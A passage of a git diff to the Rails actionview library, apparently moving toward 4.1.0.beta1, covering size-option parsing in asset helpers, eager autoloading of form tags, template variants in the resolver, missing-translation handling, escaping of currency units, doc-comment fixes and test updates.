- s.add_development_dependency 'actionpack', version
+ s.add_development_dependency 'actionpack', version
+ s.add_development_dependency 'activemodel', version
end
diff --git a/actionview/lib/action_view.rb b/actionview/lib/action_view.rb
index 39c0c6c856..5c729345dc 100644
--- a/actionview/lib/action_view.rb
+++ b/actionview/lib/action_view.rb
@@ -1,5 +1,5 @@
#--
-# Copyright (c) 2004-2013 David Heinemeier Hansson
+# Copyright (c) 2004-2014 David Heinemeier Hansson
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
@@ -23,6 +23,7 @@
require 'active_support'
require 'active_support/rails'
+require 'action_view/version'
module ActionView
extend ActiveSupport::Autoload
@@ -84,6 +85,7 @@ module ActionView
def self.eager_load!
super
+ ActionView::Helpers.eager_load!
ActionView::Template.eager_load!
HTML.eager_load!
end
diff --git a/actionview/lib/action_view/base.rb b/actionview/lib/action_view/base.rb
index caade8f43b..8eb7072d0c 100644
--- a/actionview/lib/action_view/base.rb
+++ b/actionview/lib/action_view/base.rb
@@ -1,5 +1,5 @@
require 'active_support/core_ext/module/attr_internal'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
require 'active_support/ordered_options'
require 'action_view/log_subscriber'
require 'action_view/helpers'
diff --git a/actionview/lib/action_view/helpers.rb b/actionview/lib/action_view/helpers.rb
index 8a78685ae1..787e9d67b2 100644
--- a/actionview/lib/action_view/helpers.rb
+++ b/actionview/lib/action_view/helpers.rb
@@ -27,6 +27,12 @@ module ActionView #:nodoc:
autoload :TextHelper
autoload :TranslationHelper
autoload :UrlHelper
+ autoload :Tags
+
+ def self.eager_load!
+ super
+ Tags.eager_load!
+ end
extend ActiveSupport::Concern
diff --git a/actionview/lib/action_view/helpers/active_model_helper.rb b/actionview/lib/action_view/helpers/active_model_helper.rb
index 901f433c70..d5222e3616 100644
--- a/actionview/lib/action_view/helpers/active_model_helper.rb
+++ b/actionview/lib/action_view/helpers/active_model_helper.rb
@@ -1,4 +1,4 @@
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
require 'active_support/core_ext/enumerable'
module ActionView
diff --git a/actionview/lib/action_view/helpers/asset_tag_helper.rb b/actionview/lib/action_view/helpers/asset_tag_helper.rb
index b1ba9da4cf..aa49f1edc1 100644
--- a/actionview/lib/action_view/helpers/asset_tag_helper.rb
+++ b/actionview/lib/action_view/helpers/asset_tag_helper.rb
@@ -103,7 +103,7 @@ module ActionView
}.join("\n").html_safe
end
- # Returns a link tag that browsers and news readers can use to auto-detect
+ # Returns a link tag that browsers and feed readers can use to auto-detect
# an RSS or Atom feed. The +type+ can either be <tt>:rss</tt> (default) or
# <tt>:atom</tt>. Control the link options in url_for format using the
# +url_options+. You can modify the LINK tag itself in +tag_options+.
@@ -176,7 +176,7 @@ module ActionView
# ==== Options
#
# You can add HTML attributes using the +options+. The +options+ supports
- # three additional keys for convenience and conformance:
+ # two additional keys for convenience and conformance:
#
# * <tt>:alt</tt> - If no alt text is given, the file name part of the
# +source+ is used (capitalized and without the extension)
@@ -207,14 +207,7 @@ module ActionView
options[:alt] = options.fetch(:alt){ image_alt(src) }
end
- if size = options.delete(:size)
- if size =~ %r{\A\d+x\d+\z}
- options[:width], options[:height] = size.split('x')
- elsif size =~ %r{\A\d+\z}
- options[:width] = options[:height] = size
- end
- end
-
+ options[:width], options[:height] = extract_dimensions(options.delete(:size)) if options[:size]
tag("img", options)
end
@@ -251,9 +244,9 @@ module ActionView
#
# * <tt>:poster</tt> - Set an image (like a screenshot) to be shown
# before the video loads. The path is calculated like the +src+ of +image_tag+.
- # * <tt>:size</tt> - Supplied as "{Width}x{Height}", so "30x45" becomes
- # width="30" and height="45". <tt>:size</tt> will be ignored if the
- # value is not in the correct format.
+ # * <tt>:size</tt> - Supplied as "{Width}x{Height}" or "{Number}", so "30x45" becomes
+ # width="30" and height="45", and "50" becomes width="50" and height="50".
+ # <tt>:size</tt> will be ignored if the value is not in the correct format.
#
# ==== Examples
#
@@ -267,6 +260,8 @@ module ActionView
# # => <video src="/videos/trailer.m4v" width="16" height="10" poster="/assets/screenshot.png" />
# video_tag("/trailers/hd.avi", size: "16x16")
# # => <video src="/trailers/hd.avi" width="16" height="16" />
+ # video_tag("/trailers/hd.avi", size: "16")
+ # # => <video height="16" src="/trailers/hd.avi" width="16" />
# video_tag("/trailers/hd.avi", height: '32', width: '32')
# # => <video height="32" src="/trailers/hd.avi" width="32" />
# video_tag("trailer.ogg", "trailer.flv")
@@ -278,10 +273,7 @@ module ActionView
def video_tag(*sources)
multiple_sources_tag('video', sources) do |options|
options[:poster] = path_to_image(options[:poster]) if options[:poster]
-
- if size = options.delete(:size)
- options[:width], options[:height] = size.split("x") if size =~ %r{^\d+x\d+$}
- end
+ options[:width], options[:height] = extract_dimensions(options.delete(:size)) if options[:size]
end
end
@@ -317,6 +309,14 @@ module ActionView
content_tag(type, nil, options)
end
end
+
+ def extract_dimensions(size)
+ if size =~ %r{\A\d+x\d+\z}
+ size.split('x')
+ elsif size =~ %r{\A\d+\z}
+ [size, size]
+ end
+ end
end
end
end
diff --git a/actionview/lib/action_view/helpers/date_helper.rb b/actionview/lib/action_view/helpers/date_helper.rb
index 523f8aed7a..3d091c4a00 100644
--- a/actionview/lib/action_view/helpers/date_helper.rb
+++ b/actionview/lib/action_view/helpers/date_helper.rb
@@ -170,8 +170,12 @@ module ActionView
# * <tt>:use_month_names</tt> - Set to an array with 12 month names if you want to customize month names.
# Note: You can also use Rails' i18n functionality for this.
# * <tt>:date_separator</tt> - Specifies a string to separate the date fields. Default is "" (i.e. nothing).
- # * <tt>:start_year</tt> - Set the start year for the year select. Default is <tt>Time.now.year - 5</tt>.
- # * <tt>:end_year</tt> - Set the end year for the year select. Default is <tt>Time.now.year + 5</tt>.
+ # * <tt>:start_year</tt> - Set the start year for the year select. Default is <tt>Date.today.year - 5</tt>if
+ # you are creating new record. While editing existing record, <tt>:start_year</tt> defaults to
+ # the current selected year minus 5.
+ # * <tt>:end_year</tt> - Set the end year for the year select. Default is <tt>Date.today.year + 5</tt> if
+ # you are creating new record. While editing existing record, <tt>:end_year</tt> defaults to
+ # the current selected year plus 5.
# * <tt>:discard_day</tt> - Set to true if you don't want to show a day select. This includes the day
# as a hidden field instead of showing a select field. Also note that this implicitly sets the day to be the
# first of the given month in order to not create invalid dates like 31 February.
@@ -1062,7 +1066,7 @@ module ActionView
# Wraps ActionView::Helpers::DateHelper#datetime_select for form builders:
#
# <%= form_for @person do |f| %>
- # <%= f.time_select :last_request_at %>
+ # <%= f.datetime_select :last_request_at %>
# <%= f.submit %>
# <% end %>
#
diff --git a/actionview/lib/action_view/helpers/form_helper.rb b/actionview/lib/action_view/helpers/form_helper.rb
index 38d969ed0c..5235962f9f 100644
--- a/actionview/lib/action_view/helpers/form_helper.rb
+++ b/actionview/lib/action_view/helpers/form_helper.rb
@@ -3,9 +3,8 @@ require 'action_view/helpers/date_helper'
require 'action_view/helpers/tag_helper'
require 'action_view/helpers/form_tag_helper'
require 'action_view/helpers/active_model_helper'
-require 'action_view/helpers/tags'
require 'action_view/model_naming'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
require 'active_support/core_ext/hash/slice'
require 'active_support/core_ext/string/output_safety'
require 'active_support/core_ext/string/inflections'
@@ -52,7 +51,7 @@ module ActionView
# The HTML generated for this would be (modulus formatting):
#
# <form action="/people" class="new_person" id="new_person" method="post">
- # <div style="margin:0;padding:0;display:inline">
+ # <div style="display:none">
# <input name="authenticity_token" type="hidden" value="NrOp5bsjoLRuK8IW5+dQEYjKGUJDe7TQoZVvq95Wteg=" />
# </div>
# <label for="person_first_name">First name</label>:
@@ -82,7 +81,7 @@ module ActionView
# the code above as is would yield instead:
#
# <form action="/people/256" class="edit_person" id="edit_person_256" method="post">
- # <div style="margin:0;padding:0;display:inline">
+ # <div style="display:none">
# <input name="_method" type="hidden" value="patch" />
# <input name="authenticity_token" type="hidden" value="NrOp5bsjoLRuK8IW5+dQEYjKGUJDe7TQoZVvq95Wteg=" />
# </div>
@@ -316,7 +315,7 @@ module ActionView
# The HTML generated for this would be:
#
# <form action='http://www.example.com' method='post' data-remote='true'>
- # <div style='margin:0;padding:0;display:inline'>
+ # <div style='display:none'>
# <input name='_method' type='hidden' value='patch' />
# </div>
# ...
@@ -334,7 +333,7 @@ module ActionView
# The HTML generated for this would be:
#
# <form action='http://www.example.com' method='post' data-behavior='autosave' name='go'>
- # <div style='margin:0;padding:0;display:inline'>
+ # <div style='display:none'>
# <input name='_method' type='hidden' value='patch' />
# </div>
# ...
@@ -763,8 +762,8 @@ module ActionView
# text_field(:post, :title, class: "create_input")
# # => <input type="text" id="post_title" name="post[title]" value="#{@post.title}" class="create_input" />
#
- # text_field(:session, :user, onchange: "if ($('#session_user').val() === 'admin') { alert('Your login can not be admin!'); }")
- # # => <input type="text" id="session_user" name="session[user]" value="#{@session.user}" onchange="if ($('#session_user').val() === 'admin') { alert('Your login can not be admin!'); }"/>
+ # text_field(:session, :user, onchange: "if ($('#session_user').val() === 'admin') { alert('Your login cannot be admin!'); }")
+ # # => <input type="text" id="session_user" name="session[user]" value="#{@session.user}" onchange="if ($('#session_user').val() === 'admin') { alert('Your login cannot be admin!'); }"/>
#
# text_field(:snippet, :code, size: 20, class: 'code_input')
# # => <input type="text" id="snippet_code" name="snippet[code]" size="20" value="#{@snippet.code}" class="code_input" />
diff --git a/actionview/lib/action_view/helpers/form_options_helper.rb b/actionview/lib/action_view/helpers/form_options_helper.rb
index 4347983bad..f625a9ff49 100644
--- a/actionview/lib/action_view/helpers/form_options_helper.rb
+++ b/actionview/lib/action_view/helpers/form_options_helper.rb
@@ -260,7 +260,7 @@ module ActionView
Tags::GroupedCollectionSelect.new(object, method, self, collection, group_method, group_label_method, option_key_method, option_value_method, options, html_options).render
end
- # Return select and option tags for the given object and method, using
+ # Returns select and option tags for the given object and method, using
# #time_zone_options_for_select to generate the list of option tags.
#
# In addition to the <tt>:include_blank</tt> option documented above,
diff --git a/actionview/lib/action_view/helpers/form_tag_helper.rb b/actionview/lib/action_view/helpers/form_tag_helper.rb
index 142c27ace0..80f066b3be 100644
--- a/actionview/lib/action_view/helpers/form_tag_helper.rb
+++ b/actionview/lib/action_view/helpers/form_tag_helper.rb
@@ -465,7 +465,7 @@ module ActionView
# # <strong>Ask me!</strong>
# # </button>
#
- # button_tag "Checkout", data: { disable_with => "Please wait..." }
+ # button_tag "Checkout", data: { :disable_with => "Please wait..." }
# # => <button data-disable-with="Please wait..." name="button" type="submit">Checkout</button>
#
def button_tag(content_or_options = nil, options = nil, &block)
@@ -722,7 +722,7 @@ module ActionView
enforce_utf8 = html_options.delete("enforce_utf8") { true }
tags = (enforce_utf8 ? utf8_enforcer_tag : ''.html_safe) << method_tag
- content_tag(:div, tags, :style => 'margin:0;padding:0;display:inline')
+ content_tag(:div, tags, :style => 'display:none')
end
def form_tag_html(html_options)
diff --git a/actionview/lib/action_view/helpers/number_helper.rb b/actionview/lib/action_view/helpers/number_helper.rb
index 9adc2c1a8f..ad825cd1f1 100644
--- a/actionview/lib/action_view/helpers/number_helper.rb
+++ b/actionview/lib/action_view/helpers/number_helper.rb
@@ -100,10 +100,10 @@ module ActionView
#
# number_to_currency(-1234567890.50, negative_format: "(%u%n)")
# # => ($1,234,567,890.50)
- # number_to_currency(1234567890.50, unit: "&pound;", separator: ",", delimiter: "")
- # # => &pound;1234567890,50
- # number_to_currency(1234567890.50, unit: "&pound;", separator: ",", delimiter: "", format: "%n %u")
- # # => 1234567890,50 &pound;
+ # number_to_currency(1234567890.50, unit: "R$", separator: ",", delimiter: "")
+ # # => R$1234567890,50
+ # number_to_currency(1234567890.50, unit: "R$", separator: ",", delimiter: "", format: "%n %u")
+ # # => 1234567890,50 R$
def number_to_currency(number, options = {})
delegate_number_helper_method(:number_to_currency, number, options)
end
@@ -394,6 +394,7 @@ module ActionView
def escape_unsafe_delimiters_and_separators(options)
options[:separator] = ERB::Util.html_escape(options[:separator]) if options[:separator] && !options[:separator].html_safe?
options[:delimiter] = ERB::Util.html_escape(options[:delimiter]) if options[:delimiter] && !options[:delimiter].html_safe?
+ options[:unit] = ERB::Util.html_escape(options[:unit]) if options[:unit] && !options[:unit].html_safe?
options
end
diff --git a/actionview/lib/action_view/helpers/tags.rb b/actionview/lib/action_view/helpers/tags.rb
index a05e16979a..45c75d10c0 100644
--- a/actionview/lib/action_view/helpers/tags.rb
+++ b/actionview/lib/action_view/helpers/tags.rb
@@ -3,37 +3,39 @@ module ActionView
module Tags #:nodoc:
extend ActiveSupport::Autoload
- autoload :Base
- autoload :CheckBox
- autoload :CollectionCheckBoxes
- autoload :CollectionRadioButtons
- autoload :CollectionSelect
- autoload :ColorField
- autoload :DateField
- autoload :DateSelect
- autoload :DatetimeField
- autoload :DatetimeLocalField
- autoload :DatetimeSelect
- autoload :EmailField
- autoload :FileField
- autoload :GroupedCollectionSelect
- autoload :HiddenField
- autoload :Label
- autoload :MonthField
- autoload :NumberField
- autoload :PasswordField
- autoload :RadioButton
- autoload :RangeField
- autoload :SearchField
- autoload :Select
- autoload :TelField
- autoload :TextArea
- autoload :TextField
- autoload :TimeField
- autoload :TimeSelect
- autoload :TimeZoneSelect
- autoload :UrlField
- autoload :WeekField
+ eager_autoload do
+ autoload :Base
+ autoload :CheckBox
+ autoload :CollectionCheckBoxes
+ autoload :CollectionRadioButtons
+ autoload :CollectionSelect
+ autoload :ColorField
+ autoload :DateField
+ autoload :DateSelect
+ autoload :DatetimeField
+ autoload :DatetimeLocalField
+ autoload :DatetimeSelect
+ autoload :EmailField
+ autoload :FileField
+ autoload :GroupedCollectionSelect
+ autoload :HiddenField
+ autoload :Label
+ autoload :MonthField
+ autoload :NumberField
+ autoload :PasswordField
+ autoload :RadioButton
+ autoload :RangeField
+ autoload :SearchField
+ autoload :Select
+ autoload :TelField
+ autoload :TextArea
+ autoload :TextField
+ autoload :TimeField
+ autoload :TimeSelect
+ autoload :TimeZoneSelect
+ autoload :UrlField
+ autoload :WeekField
+ end
end
end
end
diff --git a/actionview/lib/action_view/helpers/tags/collection_helpers.rb b/actionview/lib/action_view/helpers/tags/collection_helpers.rb
index 787039c82e..991f32cea2 100644
--- a/actionview/lib/action_view/helpers/tags/collection_helpers.rb
+++ b/actionview/lib/action_view/helpers/tags/collection_helpers.rb
@@ -18,7 +18,7 @@ module ActionView
end
def label(label_html_options={}, &block)
- html_options = label_html_options.merge(@input_html_options)
+ html_options = @input_html_options.slice(:index, :namespace).merge(label_html_options)
@template_object.label(@object_name, @sanitized_attribute_name, @text, html_options, &block)
end
end
diff --git a/actionview/lib/action_view/helpers/tags/label.rb b/actionview/lib/action_view/helpers/tags/label.rb
index 180aa9ac27..35d3ba8434 100644
--- a/actionview/lib/action_view/helpers/tags/label.rb
+++ b/actionview/lib/action_view/helpers/tags/label.rb
@@ -30,7 +30,6 @@ module ActionView
add_default_name_and_id_for_value(tag_value, name_and_id)
options.delete("index")
options.delete("namespace")
- options.delete("multiple")
options["for"] = name_and_id["id"] unless options.key?("for")
if block_given?
diff --git a/actionview/lib/action_view/helpers/text_helper.rb b/actionview/lib/action_view/helpers/text_helper.rb
index b0e4aa3cd3..7cfbca5b6f 100644
--- a/actionview/lib/action_view/helpers/text_helper.rb
+++ b/actionview/lib/action_view/helpers/text_helper.rb
@@ -31,6 +31,8 @@ module ActionView
include SanitizeHelper
include TagHelper
+ include OutputSafetyHelper
+
# The preferred method of outputting text in your views is to use the
# <%= "text" %> eRuby syntax. The regular _puts_ and _print_ methods
# do not operate as expected in an eRuby code block. If you absolutely must
@@ -80,6 +82,9 @@ module ActionView
# # => "And they f... (continued)"
#
# truncate("<p>Once upon a time in a world far far away</p>")
+ # # => "&lt;p&gt;Once upon a time in a wo..."
+ #
+ # truncate("<p>Once upon a time in a world far far away</p>", escape: false)
# # => "<p>Once upon a time in a wo..."
#
# truncate("Once upon a time in a world far far away") { link_to "Continue", "#" }
@@ -268,7 +273,7 @@ module ActionView
content_tag(wrapper_tag, nil, html_options)
else
paragraphs.map! { |paragraph|
- content_tag(wrapper_tag, paragraph, html_options, false)
+ content_tag(wrapper_tag, raw(paragraph), html_options)
}.join("\n\n").html_safe
end
end
@@ -314,7 +319,7 @@ module ActionView
options = values.extract_options!
name = options.fetch(:name, 'default')
- values.unshift(first_value)
+ values.unshift(*first_value)
cycle = get_cycle(name)
unless cycle && cycle.values == values
diff --git a/actionview/lib/action_view/helpers/translation_helper.rb b/actionview/lib/action_view/helpers/translation_helper.rb
index ad8eb47f1f..3ae1df04fe 100644
--- a/actionview/lib/action_view/helpers/translation_helper.rb
+++ b/actionview/lib/action_view/helpers/translation_helper.rb
@@ -1,24 +1,14 @@
require 'action_view/helpers/tag_helper'
require 'i18n/exceptions'
-module I18n
- class ExceptionHandler
- include Module.new {
- def call(exception, locale, key, options)
- exception.is_a?(MissingTranslation) && options[:rescue_format] == :html ? super.html_safe : super
- end
- }
- end
-end
-
module ActionView
# = Action View Translation Helpers
module Helpers
module TranslationHelper
# Delegates to <tt>I18n#translate</tt> but also performs three additional functions.
#
- # First, it'll pass the <tt>rescue_format: :html</tt> option to I18n so that any
- # thrown +MissingTranslation+ messages will be turned into inline spans that
+ # First, it will ensure that any thrown +MissingTranslation+ messages will be turned
+ # into inline spans that:
#
# * have a "translation-missing" class set,
# * contain the missing key as a title attribute and
@@ -44,8 +34,17 @@ module ActionView
# naming convention helps to identify translations that include HTML tags so that
# you know what kind of output to expect when you call translate in a template.
def translate(key, options = {})
- options.merge!(:rescue_format => :html) unless options.key?(:rescue_format)
options[:default] = wrap_translate_defaults(options[:default]) if options[:default]
+
+ # If the user has specified rescue_format then pass it all through, otherwise use
+ # raise and do the work ourselves
+ if options.key?(:raise) || options.key?(:rescue_format)
+ raise_error = options[:raise] || options[:rescue_format]
+ else
+ raise_error = false
+ options[:raise] = true
+ end
+
if html_safe_translation_key?(key)
html_safe_options = options.dup
options.except(*I18n::RESERVED_KEYS).each do |name, value|
@@ -59,6 +58,11 @@ module ActionView
else
I18n.translate(scope_key_by_partial(key), options)
end
+ rescue I18n::MissingTranslationData => e
+ raise e if raise_error
+
+ keys = I18n.normalize_keys(e.locale, e.key, e.options[:scope])
+ content_tag('span', keys.last.to_s.titleize, :class => 'translation_missing', :title => "translation missing: #{keys.join('.')}")
end
alias :t :translate
diff --git a/actionview/lib/action_view/lookup_context.rb b/actionview/lib/action_view/lookup_context.rb
index f9d5b97fe3..e07d9b6314 100644
--- a/actionview/lib/action_view/lookup_context.rb
+++ b/actionview/lib/action_view/lookup_context.rb
@@ -52,6 +52,7 @@ module ActionView
locales
end
register_detail(:formats) { ActionView::Base.default_formats || [:html, :text, :js, :css, :xml, :json] }
+ register_detail(:variants) { [] }
register_detail(:handlers){ Template::Handlers.extensions }
class DetailsKey #:nodoc:
@@ -62,6 +63,13 @@ module ActionView
@details_keys = ThreadSafe::Cache.new
def self.get(details)
+ if details[:formats]
+ details = details.dup
+ syms = Set.new Mime::SET.symbols
+ details[:formats] = details[:formats].select { |v|
+ syms.include? v
+ }
+ end
@details_keys[details] ||= new
end
diff --git a/actionview/lib/action_view/railtie.rb b/actionview/lib/action_view/railtie.rb
index c2783f6377..81f9c40b85 100644
--- a/actionview/lib/action_view/railtie.rb
+++ b/actionview/lib/action_view/railtie.rb
@@ -36,19 +36,12 @@ module ActionView
end
end
- initializer "action_view.setup_action_pack", before: :add_view_paths do |app|
+ initializer "action_view.setup_action_pack" do |app|
ActiveSupport.on_load(:action_controller) do
- ActionController::Base.superclass.send(:include, ActionView::Layouts)
ActionView::RoutingUrlFor.send(:include, ActionDispatch::Routing::UrlFor)
end
end
- initializer "action_view.setup_action_mailer", before: :add_view_paths do |app|
- ActiveSupport.on_load(:action_mailer) do
- ActionMailer::Base.send(:include, ActionView::Layouts)
- end
- end
-
rake_tasks do
load "action_view/tasks/dependencies.rake"
end
diff --git a/actionview/lib/action_view/renderer/streaming_template_renderer.rb b/actionview/lib/action_view/renderer/streaming_template_renderer.rb
index 9cf6eb0c65..3ab2cd36fc 100644
--- a/actionview/lib/action_view/renderer/streaming_template_renderer.rb
+++ b/actionview/lib/action_view/renderer/streaming_template_renderer.rb
@@ -58,7 +58,7 @@ module ActionView
def delayed_render(buffer, template, layout, view, locals)
# Wrap the given buffer in the StreamingBuffer and pass it to the
- # underlying template handler. Now, everytime something is concatenated
+ # underlying template handler. Now, every time something is concatenated
# to the buffer, it is not appended to an array, but streamed straight
# to the client.
output = ActionView::StreamingBuffer.new(buffer)
diff --git a/actionview/lib/action_view/rendering.rb b/actionview/lib/action_view/rendering.rb
index 82db9e26df..99b95fdfb7 100644
--- a/actionview/lib/action_view/rendering.rb
+++ b/actionview/lib/action_view/rendering.rb
@@ -88,10 +88,14 @@ module ActionView
private
- # Find and renders a template based on the options given.
+ # Find and render a template based on the options given.
# :api: private
def _render_template(options) #:nodoc:
+ variant = options[:variant]
+
lookup_context.rendered_format = nil if options[:formats]
+ lookup_context.variants = [variant] if variant
+
view_renderer.render(view_context, options)
end
diff --git a/actionview/lib/action_view/template/error.rb b/actionview/lib/action_view/template/error.rb
index 7b4b5e13e0..743ef6de0a 100644
--- a/actionview/lib/action_view/template/error.rb
+++ b/actionview/lib/action_view/template/error.rb
@@ -41,6 +41,9 @@ module ActionView
'template'
end
+ if partial && path.present?
+ path = path.sub(%r{([^/]+)$}, "_\\1")
+ end
searched_paths = prefixes.map { |prefix| [prefix, path].join("/") }
out = "Missing #{template_type} #{searched_paths.join(", ")} with #{details.inspect}. Searched in:\n"
diff --git a/actionview/lib/action_view/template/handlers/erb.rb b/actionview/lib/action_view/template/handlers/erb.rb
index c8a0059596..4523060442 100644
--- a/actionview/lib/action_view/template/handlers/erb.rb
+++ b/actionview/lib/action_view/template/handlers/erb.rb
@@ -18,7 +18,7 @@ module ActionView
src << "@output_buffer.safe_append='"
src << "\n" * @newline_pending if @newline_pending > 0
src << escape_text(text)
- src << "';"
+ src << "'.freeze;"
@newline_pending = 0
end
@@ -67,7 +67,7 @@ module ActionView
def flush_newline_if_pending(src)
if @newline_pending > 0
- src << "@output_buffer.safe_append='#{"\n" * @newline_pending}';"
+ src << "@output_buffer.safe_append='#{"\n" * @newline_pending}'.freeze;"
@newline_pending = 0
end
end
diff --git a/actionview/lib/action_view/template/resolver.rb b/actionview/lib/action_view/template/resolver.rb
index 3304605c1a..3a3b74cdd5 100644
--- a/actionview/lib/action_view/template/resolver.rb
+++ b/actionview/lib/action_view/template/resolver.rb
@@ -1,6 +1,6 @@
require "pathname"
require "active_support/core_ext/class"
-require "active_support/core_ext/class/attribute_accessors"
+require "active_support/core_ext/module/attribute_accessors"
require "action_view/template"
require "thread"
require "thread_safe"
@@ -162,8 +162,8 @@ module ActionView
# An abstract class that implements a Resolver with path semantics.
class PathResolver < Resolver #:nodoc:
- EXTENSIONS = [:locale, :formats, :handlers]
- DEFAULT_PATTERN = ":prefix/:action{.:locale,}{.:formats,}{.:handlers,}"
+ EXTENSIONS = { :locale => ".", :formats => ".", :variants => "+", :handlers => "." }
+ DEFAULT_PATTERN = ":prefix/:action{.:locale,}{.:formats,}{+:variants,}{.:handlers,}"
def initialize(pattern=nil)
@pattern = pattern || DEFAULT_PATTERN
@@ -240,7 +240,9 @@ module ActionView
end
handler = Template.handler_for_extension(extension)
- format = pieces.last && Template::Types[pieces.last]
+ format = pieces.last && pieces.last.split(EXTENSIONS[:variants], 2).first # remove variant from format
+ format &&= Template::Types[format]
+
[handler, format]
end
end
@@ -303,12 +305,13 @@ module ActionView
# An Optimized resolver for Rails' most common case.
class OptimizedFileSystemResolver < FileSystemResolver #:nodoc:
def build_query(path, details)
- exts = EXTENSIONS.map { |ext| details[ext] }
query = escape_entry(File.join(@path, path))
- query + exts.map { |ext|
- "{#{ext.compact.uniq.map { |e| ".#{e}," }.join}}"
- }.join
+ exts = EXTENSIONS.map do |ext, prefix|
+ "{#{details[ext].compact.uniq.map { |e| "#{prefix}#{e}," }.join}}"
+ end.join
+
+ query + exts
end
end
diff --git a/actionview/lib/action_view/template/types.rb b/actionview/lib/action_view/template/types.rb
index db77cb5d19..b84e0281ae 100644
--- a/actionview/lib/action_view/template/types.rb
+++ b/actionview/lib/action_view/template/types.rb
@@ -1,5 +1,5 @@
require 'set'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
module ActionView
class Template
diff --git a/actionview/lib/action_view/testing/resolvers.rb b/actionview/lib/action_view/testing/resolvers.rb
index 7afa2fa613..af53ad3b25 100644
--- a/actionview/lib/action_view/testing/resolvers.rb
+++ b/actionview/lib/action_view/testing/resolvers.rb
@@ -21,7 +21,7 @@ module ActionView #:nodoc:
def query(path, exts, formats)
query = ""
- EXTENSIONS.each do |ext|
+ EXTENSIONS.each_key do |ext|
query << '(' << exts[ext].map {|e| e && Regexp.escape(".#{e}") }.join('|') << '|)'
end
query = /^(#{Regexp.escape(path)})#{query}$/
diff --git a/actionview/lib/action_view/vendor/html-scanner/html/node.rb b/actionview/lib/action_view/vendor/html-scanner/html/node.rb
index 7e7cd4f7b6..27f0f2f6f8 100644
--- a/actionview/lib/action_view/vendor/html-scanner/html/node.rb
+++ b/actionview/lib/action_view/vendor/html-scanner/html/node.rb
@@ -71,12 +71,12 @@ module HTML #:nodoc:
@line, @position = line, pos
end
- # Return a textual representation of the node.
+ # Returns a textual representation of the node.
def to_s
@children.join()
end
- # Return false (subclasses must override this to provide specific matching
+ # Returns false (subclasses must override this to provide specific matching
# behavior.) +conditions+ may be of any type.
def match(conditions)
false
diff --git a/actionview/lib/action_view/vendor/html-scanner/html/sanitizer.rb b/actionview/lib/action_view/vendor/html-scanner/html/sanitizer.rb
index 30b6b8b141..ed34eecf55 100644
--- a/actionview/lib/action_view/vendor/html-scanner/html/sanitizer.rb
+++ b/actionview/lib/action_view/vendor/html-scanner/html/sanitizer.rb
@@ -1,6 +1,6 @@
require 'set'
require 'cgi'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
module HTML
class Sanitizer
diff --git a/actionview/lib/action_view/vendor/html-scanner/html/selector.rb b/actionview/lib/action_view/vendor/html-scanner/html/selector.rb
index 7f8609c408..dfdd724b9b 100644
--- a/actionview/lib/action_view/vendor/html-scanner/html/selector.rb
+++ b/actionview/lib/action_view/vendor/html-scanner/html/selector.rb
@@ -488,7 +488,7 @@ module HTML
end
- # Return the next element after this one. Skips sibling text nodes.
+ # Returns the next element after this one. Skips sibling text nodes.
#
# With the +name+ argument, returns the next element with that name,
# skipping other sibling elements.
diff --git a/actionview/lib/action_view/vendor/html-scanner/html/tokenizer.rb b/actionview/lib/action_view/vendor/html-scanner/html/tokenizer.rb
index 8ac8d34430..adf4e45930 100644
--- a/actionview/lib/action_view/vendor/html-scanner/html/tokenizer.rb
+++ b/actionview/lib/action_view/vendor/html-scanner/html/tokenizer.rb
@@ -30,7 +30,7 @@ module HTML #:nodoc:
@current_line = 1
end
- # Return the next token in the sequence, or +nil+ if there are no more tokens in
+ # Returns the next token in the sequence, or +nil+ if there are no more tokens in
# the stream.
def next
return nil if @scanner.eos?
diff --git a/actionview/lib/action_view/version.rb b/actionview/lib/action_view/version.rb
index 094dd474df..edb6d8f116 100644
--- a/actionview/lib/action_view/version.rb
+++ b/actionview/lib/action_view/version.rb
@@ -1,7 +1,7 @@
module ActionView
# Returns the version of the currently loaded ActionView as a Gem::Version
def self.version
- Gem::Version.new "4.1.0.beta"
+ Gem::Version.new "4.1.0.beta1"
end
module VERSION #:nodoc:
diff --git a/actionview/test/abstract_unit.rb b/actionview/test/abstract_unit.rb
index 6623b47e83..9928da4774 100644
--- a/actionview/test/abstract_unit.rb
+++ b/actionview/test/abstract_unit.rb
@@ -42,6 +42,9 @@ Thread.abort_on_exception = true
# Show backtraces for deprecated behavior for quicker cleanup.
ActiveSupport::Deprecation.debug = true
+# Disable available locale checks to avoid warnings running the test suite.
+I18n.enforce_available_locales = false
+
# Register danish language for testing
I18n.backend.store_translations 'da', {}
I18n.backend.store_translations 'pt-BR', {}
@@ -267,8 +270,6 @@ class Rack::TestCase < ActionDispatch::IntegrationTest
end
end
-# Emulate AV railtie.
-ActionController::Base.superclass.send(:include, ActionView::Layouts)
ActionView::RoutingUrlFor.send(:include, ActionDispatch::Routing::UrlFor)
module ActionController
diff --git a/actionview/test/actionpack/abstract/helper_test.rb b/actionview/test/actionpack/abstract/helper_test.rb
index 89c4567715..7d346e917d 100644
--- a/actionview/test/actionpack/abstract/helper_test.rb
+++ b/actionview/test/actionpack/abstract/helper_test.rb
@@ -78,9 +78,9 @@ module AbstractController
end
def test_declare_missing_helper
- AbstractHelpers.helper :missing
- flunk "should have raised an exception"
- rescue LoadError => e
+ e = assert_raise AbstractController::Helpers::MissingHelperError do
+ AbstractHelpers.helper :missing
+ end
assert_equal "helpers/missing_helper.rb", e.path
end
diff --git a/actionview/test/actionpack/controller/layout_test.rb b/actionview/test/actionpack/controller/layout_test.rb
index 5dd23c4b31..b44f57a23e 100644
--- a/actionview/test/actionpack/controller/layout_test.rb
+++ b/actionview/test/actionpack/controller/layout_test.rb
@@ -215,12 +215,6 @@ class LayoutSetInResponseTest < ActionController::TestCase
end
end
-class RenderWithTemplateOptionController < LayoutTest
- def hello
- render :template => 'alt/hello'
- end
-end
-
class SetsNonExistentLayoutFile < LayoutTest
layout "nofile"
end
diff --git a/actionview/test/actionpack/controller/render_test.rb b/actionview/test/actionpack/controller/render_test.rb
index 8c99504050..45b8049b83 100644
